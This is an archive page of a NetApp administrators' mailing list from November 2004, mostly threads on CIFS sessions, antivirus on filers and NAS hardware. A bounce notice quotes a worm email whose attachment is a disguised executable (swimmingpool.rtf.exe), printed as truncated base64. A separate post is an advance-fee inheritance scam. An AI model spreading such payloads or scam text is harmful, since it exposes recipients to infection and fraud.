toasters

toasters@lists.teaparty.net

13514 discussions

NEBS compliant NAS?
by Edward Hibbert 02 Nov '04

02 Nov '04

This probably isn't directly NetApp related - though I'd love it if it were. Does anyone know of a rack-mountable NAS which is NEBS compliant and no more than 19" wide and 20" deep? Regards, Edward.

1 0

Undeliverable Mail
by Postmaster 02 Nov '04

02 Nov '04

undeliverable to aseabolt(a)lumpkin.k12.ga.us Original message follows. Received: from sera.org [66.174.6.205] by mail.paginginc.com with ESMTP (SMTPD32-8.05) id A97E5ABF05C0; Mon, 01 Nov 2004 22:05:34 -0500 Received: from unknown [69.82.142.11] by 66.174.6.205; 02 Nov 2004 02:03:01 +0000 From: toasters(a)mathworks.com To: n4khq(a)sera.org Subject: report Date: Mon, 1 Nov 2004 22:05:35 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0007_00003AAC.000046F1" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: <200411012205156.SM00398(a)sera.org> X-IMAIL-SPAM-DNSBL: (SpamCop,1522468288,127.0.0.2) This is a multi-part message in MIME format. ------=_NextPart_000_0007_00003AAC.000046F1 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit you cannot hide yourself! (see photo) ------=_NextPart_000_0007_00003AAC.000046F1 Content-Type: application/x-zip-compressed; name="swimmingpool.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="swimmingpool.zip" UEsDBAoAAAAAALEYYjFiZMYWCWMAAAljAAAUAAAAc3dpbW1pbmdwb29sLnJ0Zi5leGVNWpAA AwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAC4AAAAayJfVi9DMQUvQzEFL0MxBaxfPwUjQzEFx1w7BTRDMQUvQzAFcEMxBaxLbAUiQzEF x1w6BSpDMQWXRTcFLkMxBVJpY2gvQzEFAAAAAAAAAABDb21wcmVzc2VkIGJ5IFBldGl0ZSAo YykxOTk5IElhbiBMdWNrLgAAUEUAAEwBAwDspztAAAAAAAAAAADgAA8BCwEGAABQAAAAHAEA AAAAAEKgAQAAEAAAAGAAAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAsAEAAAQAAAAA AAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAAD8oQEArwEAAACQAQAIBQAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAACAAQAAEAAAAFYAAAAIAAAAAAAAAAAAAAAAAABgAADgLnBldGl0ZQAAEAAAAJABAAgF AAAAXgAAAAAAAAAAAAAAAAAAQAAAQAAAAAAAAAAAqwMAAACgAQAABAAAAAQAAAAAAAAAAAAA AAAAAGAAAOIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [message truncated]

1 0

Re: Disconnect users from a filer by ntname
by Glenn Duzy 02 Nov '04

02 Nov '04

I've done a "cifs terminate [userID]" From the filer command prompt. I'm pretty sure you need to be running 6.4 or higher for this to work. That could be scripted via rsh or ssh. ----------------------------------------- Glenn Duzy Senior Consultant GlassHouse Technologies 860.869.4177 gduzy(a)glasshouse.com -----Original Message----- From: owner-toasters(a)mathworks.com <owner-toasters(a)mathworks.com> To: Miller, Garfield <Garfield.Miller(a)cingular.com>; toasters(a)mathworks.com <toasters(a)mathworks.com> Sent: Mon Nov 01 17:17:24 2004 Subject: RE: Disconnect users from a filer by ntname We use the application Hyena http://www.systemtools.com/hyena/. It is not freeware, but it does the job of disconnecting the sessions for users really well. One of the nice features is the ability to disconnect multiple open files for a single user at any one time. Clarence. -----Original Message----- From: Miller, Garfield [mailto:Garfield.Miller@cingular.com] Sent: Tuesday, 2 November 2004 7:41 AM To: toasters(a)mathworks.com Subject: Disconnect users from a filer by ntname Does anyone have a process or procedure to easily disconnect cifs users from a filer running 6.5.1r1, not by workstation, but by userid. We have users that login to multiple computers and thus have multiple sessions open. I know that computer manager(Win2k or XP) can accomplish this, but was wondering if anyone had this scripted somehow. ************** IMPORTANT MESSAGE ************** This e-mail message is intended only for the addressee(s) and contains information which may be confidential. If you are not the intended recipient please advise the sender by return email, do not use or disclose the contents, and delete the message and any attachments from your system. Unless specifically indicated, this email does not constitute formal advice or commitment by the sender or the Commonwealth Bank of Australia (ABN 48 123 123 124) or its subsidiaries. We can be contacted through our web site: commbank.com.au. If you no longer wish to receive commercial electronic messages from us, please reply to this e-mail by typing Unsubscribe in the subject line. ***************************************************************

1 0

RE: Virus scanning for filers
by Hill, Aaron 01 Nov '04

01 Nov '04

I think this depends largely on the security strategy of your organisation. For a business environment, I would suggest that you have as much security as the budget will allow whilst still maintianing relative ease for the bulk of users to keep being productive and making money for the organisation. A a rule, security is best achieved through layers. For example, add another layer by introducing scanning on your filers. A "paranoid" approach would be to have a virus product from one manufacturer running on each resource type. i.e. Product A - Servers, Product B - Desktops, Product C -Filers. Of course budgeting realities may prevent this from being realised. As for "gotchas"? In general, for Trend I would say no. But you do want to investigate the best practices guide on the NOW site regarding Trend and Filers. Particularly looking at the network connectivity design (GbE recommended) and mandatory scanning options ("off"). From a recent nasty experience we had, if you have multi-interface filers, request hotfix 1041 (Trend) be put in with the installation, just to be extra safe. Other than that, Trend has been a solid solution. --Aaron _____ From: SKIP HOFMANN [mailto:SKIP.HOFMANN@ttisg.com] Sent: Tuesday, 2 November 2004 6:35 AM To: toasters(a)mathworks.com Subject: Virus scanning for filers Hello all We are running AV on all our servers, and workstations. Is it also necessary to run AV on the filer or is this overkill? Any known "gotchas" with Trends filer protect? Thanks a million Skip Hofmann Senior Network Administrator TetraTech Skip.Hofmann(a)ttisg.com <mailto:Skip.Hofmann@ttisg.com> 949 500 5286 cell 949 608 5801 office ************** IMPORTANT MESSAGE ************** This e-mail message is intended only for the addressee(s) and contains information which may be confidential. If you are not the intended recipient please advise the sender by return email, do not use or disclose the contents, and delete the message and any attachments from your system. Unless specifically indicated, this email does not constitute formal advice or commitment by the sender or the Commonwealth Bank of Australia (ABN 48 123 123 124) or its subsidiaries. We can be contacted through our web site: commbank.com.au. If you no longer wish to receive commercial electronic messages from us, please reply to this e-mail by typing Unsubscribe in the subject line. ***************************************************************

1 0

RE: Disconnect users from a filer by ntname
by Ngoh, Clarence 01 Nov '04

01 Nov '04

We use the application Hyena http://www.systemtools.com/hyena/. It is not freeware, but it does the job of disconnecting the sessions for users really well. One of the nice features is the ability to disconnect multiple open files for a single user at any one time. Clarence. -----Original Message----- From: Miller, Garfield [mailto:Garfield.Miller@cingular.com] Sent: Tuesday, 2 November 2004 7:41 AM To: toasters(a)mathworks.com Subject: Disconnect users from a filer by ntname Does anyone have a process or procedure to easily disconnect cifs users from a filer running 6.5.1r1, not by workstation, but by userid. We have users that login to multiple computers and thus have multiple sessions open. I know that computer manager(Win2k or XP) can accomplish this, but was wondering if anyone had this scripted somehow. ************** IMPORTANT MESSAGE ************** This e-mail message is intended only for the addressee(s) and contains information which may be confidential. If you are not the intended recipient please advise the sender by return email, do not use or disclose the contents, and delete the message and any attachments from your system. Unless specifically indicated, this email does not constitute formal advice or commitment by the sender or the Commonwealth Bank of Australia (ABN 48 123 123 124) or its subsidiaries. We can be contacted through our web site: commbank.com.au. If you no longer wish to receive commercial electronic messages from us, please reply to this e-mail by typing Unsubscribe in the subject line. ***************************************************************

1 0

Disconnect users from a filer by ntname
by Miller, Garfield 01 Nov '04

01 Nov '04

Does anyone have a process or procedure to easily disconnect cifs users from a filer running 6.5.1r1, not by workstation, but by userid. We have users that login to multiple computers and thus have multiple sessions open. I know that computer manager(Win2k or XP) can accomplish this, but was wondering if anyone had this scripted somehow.

1 0

RE: Virus scanning for filers
by Mike Sphar 01 Nov '04

01 Nov '04

My experience has been that you never know that you're really running AV on *all* your network machines. We supposedly ran it on all our compters too, but the first time I enabled AV on the filers, it started cleaning virus-infected files within seconds. Thousands of them. It only takes *one* infected machine on the network to roam through open shares on a filer. Or even one machine with a not completely up to date anti-virus definition. I find the filer AV definitely worth it. There could be some performance implications in some situations, and there are some files that even it can't scan, such as deeply-embedded compressed files above a certain size, but it's exponentially better than the zero protection you have without it. _____ From: SKIP HOFMANN [mailto:SKIP.HOFMANN@ttisg.com] Sent: Monday, November 01, 2004 1:35 PM To: toasters(a)mathworks.com Subject: Virus scanning for filers Hello all We are running AV on all our servers, and workstations. Is it also necessary to run AV on the filer or is this overkill? Any known "gotchas" with Trends filer protect? Thanks a million Skip Hofmann Senior Network Administrator TetraTech Skip.Hofmann(a)ttisg.com <mailto:Skip.Hofmann@ttisg.com> 949 500 5286 cell 949 608 5801 office

1 0

Virus scanning for filers
by SKIP HOFMANN 01 Nov '04

01 Nov '04

Hello all We are running AV on all our servers, and workstations. Is it also necessary to run AV on the filer or is this overkill? Any known "gotchas" with Trends filer protect? Thanks a million Skip Hofmann Senior Network Administrator TetraTech Skip.Hofmann(a)ttisg.com <mailto:Skip.Hofmann@ttisg.com> 949 500 5286 cell 949 608 5801 office

1 0

INVESTIGATION
by BELETS CONSULTANTS 01 Nov '04

01 Nov '04

My name is Tony Gray.I am a senior partner in the firm of BELETS Consultants: Private Investigators and Security Consultants. We are conducting a standard process investigation on behalf of The Bank of Scotland, the international Banking conglomerate. This investigation involves a client who shares the same surname with you and also the circumstances surrounding investments made by this client at The Bank of Scotland. The Bank of Scotland Private Banking client died intestate and nominated no successor in title over the investments made with the Bank. The essence of this communication with you is to request you provide us information/comments on any or all of the four issues: 1-Are you aware of any relative/relation who shares your same surname whose last known contact address was Cannes, France? 2-Are you aware of any investment of considerable value made by such a person at the Private Banking Division of The Bank of Scotland? 3-Born on the 1st of June 1927 4-Can you establish beyond reasonable doubt your eligibility to assume status of successor in title to the deceased? It is pertinent that you inform us ASAP whether or not you are familiar with this personality that we may put an end to this communication with you and our inquiries surrounding this personality. You must appreciate that we are constrained from providing you with more detailed information at this point. Please respond to this mail as soon as possible to afford us the opportunity to close this investigation. Thank you for accommodating our enquiry. Tony Gray For:BELETS Consultants ________________________________________ Crea la tshirt con il tuo nick! http://www.mediasetshop.it/JumpyChat/

1 0

redirect cifs auditlog via syslog
by Florian Pfaff 01 Nov '04

01 Nov '04

Hello, is it possible to redirect the cifs audit log via syslog? I searched NOW and this list but didn't find an answer yet. regards Florian

1 0

Jump to page:

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

2003

2002

2001

2000

1999

1998

1997

toasters